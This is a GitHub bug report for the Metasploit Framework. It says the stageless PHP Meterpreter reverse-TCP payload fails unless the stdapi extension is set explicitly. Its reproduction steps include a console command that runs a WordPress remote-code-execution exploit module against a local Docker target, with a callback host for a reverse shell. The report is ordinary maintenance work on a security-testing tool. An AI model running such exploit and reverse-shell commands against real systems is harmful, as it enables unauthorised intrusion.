Stageless PHP Meterpreter breaks without setting the `stdapi` extension explicitly
Author: cdelafuente-r7Created Aug 7, 2026Updated Sep 17, 2026
Labelsbugnot-stale
The stageless PHP Meterpreter fails with the default settings. The stdapi extension need to be explicitly set to make it work:
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter_reverse_tcp',
'EXTENSIONS' => 'stdapi'
}I haven't tested other PHP payload variants. This comes from this PR, specifically this comment.
Steps to reproduce
Follow the installation steps from the origin PR to setup the target as a Docker instance.
use multi/http/wp_batch_desync_rcerun verbose=true rhosts=127.0.0.1 rport=8080 lhost=<a reachable IP to connect back to your host>
Were you following a specific guide/tutorial or reading documentation?
no
Expected behavior
You get a session.
Current behavior
The session fails to establish.
Metasploit version
Framework: 6.5.2-dev-6ad273fb137 Console : 6.5.2-dev-6ad273fb137
Source: rapid7/metasploit-framework